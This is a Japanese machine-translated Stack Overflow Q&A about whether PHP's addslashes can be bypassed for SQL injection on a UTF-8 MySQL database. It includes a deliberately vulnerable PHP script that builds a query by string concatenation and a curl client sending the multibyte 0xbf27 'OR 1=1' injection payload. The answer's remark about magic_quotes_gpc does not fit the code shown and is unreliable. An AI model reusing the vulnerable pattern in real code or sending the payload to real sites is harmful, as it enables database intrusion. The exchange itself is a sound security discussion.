3

スクリプトでアドスラッシュを使用することが悪用可能かどうかを確認しようとしています。アドスラッシュを使用すべきではないことは誰もが知っていますが、問題は常に悪用可能ですか?

文字セットが utf8 ではない場合(2 バイト変換を使用) と、変数が "" で囲まれている場合の2 つのケースで、addslashes の悪用に関する多くの情報を見つけました。

では、上記のいずれのケースも発生しない場合、addslashes をバイパスできますか? これは私がテストしてきたコードです:

db ダンプを含む data.sql ファイル:

CREATE TABLE IF NOT EXISTS `test` (
  `user` varchar(25) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

INSERT INTO `test` (`user`) VALUES
('admin'),
('user');

mysql -u test -ptestpw test < data.sql

サーバーに配置するindex.php

<?php
  //Server script the receives content via post
  mysql_connect("localhost","test","testpw");
  mysql_select_db("test");
  $user=addslashes($_POST['username']);
  $query="SELECT * FROM test WHERE user='".$user."'";
  $q=mysql_query($query) or die (mysql_error());
  $num_rows = mysql_num_rows($q);
  echo "Listed rows: $num_rows";
  if ($num_rows > 0) {
        $a=mysql_fetch_array($q);
        print_r($a);
  }
?>

クライアント マシンに配置する query.php

<?php
//Client script crafting the special url
$url     = "http://example.com/index.php";
$ch      = curl_init();
curl_setopt( $ch, CURLOPT_URL,            $url     );
curl_setopt( $ch, CURLOPT_POST,           TRUE     );
curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" .
                                          chr(0xbf) . chr(0x27) .
                                          "OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>

参考文献:

  • ここで(マルチバイ文字列、非utf dbを使用してバイパス)
  • here (マルチバイト文字列、非 utf db を使用してバイパス)
  • ここで("" で囲まれた var を使用してバイパス)
4

1 に答える 1

4

addslashesバイト0x00 (NUL バイト)、0x22 ( )、 0x27 "( ')、および 0x5c ( \) を先頭に a\を追加してエスケープします。addslashesMySQL の文字エンコーディング GBK で失敗する文書化されたケースがあります。

このタイプの攻撃は、0x5c で終わる有効なマルチバイト文字がある任意の文字エンコーディングで可能です。これは、addslashes()その後の一重引用符をエスケープする代わりに、有効なマルチバイト文字を作成するようにだまされる可能性があるためです。UTF-8 はこの説明に適合しません。

UTF-8 には 0x5c で終わる有効なエンコーディングがないため、この攻撃に対して脆弱ではありません。

ただし、このスクリプトは、PHP 5.3.0 で廃止され、PHP 5.4.0 で削除された、magic_quotes_gpcが有効になっていることに依存しているように見えるため、このスクリプトは、 magic_quotes_gpcが無効になっているか利用できない環境で脆弱です。

于 2013-05-15T18:09:44.140 に答える